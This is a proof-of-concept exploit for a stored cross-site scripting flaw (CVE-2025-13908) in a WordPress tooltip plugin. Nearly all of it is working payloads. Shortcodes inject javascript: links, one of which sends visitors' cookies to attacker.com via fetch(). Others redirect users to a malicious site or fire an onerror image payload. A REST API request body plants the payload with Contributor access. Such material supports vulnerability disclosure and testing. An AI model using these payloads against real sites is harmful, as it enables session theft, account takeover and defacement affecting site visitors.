CVE-2025-13908

<!-- CVE-2025-13908 PoC: Stored XSS via the_tooltip shortcode --> <!-- Author: Security Researcher --> <!-- Target: The Tooltip plugin for WordPress <= 1.0.2 --> <!-- Basic PoC - Inject malicious JavaScript --> [the_tooltip text='Malicious Link' link='javascript:alert(document.domain)'] <!-- Steal cookies/session --> [the_tooltip text='Click Here' link='javascript:fetch("https://attacker.com/steal?c="+document.cookie)'] <!-- Deface page - redirect users --> [the_tooltip text='Important Update' link='javascript:window.location.href="https://malicious-site.com"'] <!-- XSS payload with event handler --> [the_tooltip text='<img src=x onerror=alert(1)>' link='https://legit-site.com'] <!-- WordPress REST API exploitation (requires Contributor role) --> <!-- POST /wp-json/wp/v2/posts/{id} --> <!-- Body: {"content": "[the_tooltip text='XSS' link='javascript:alert(1)']"} -->

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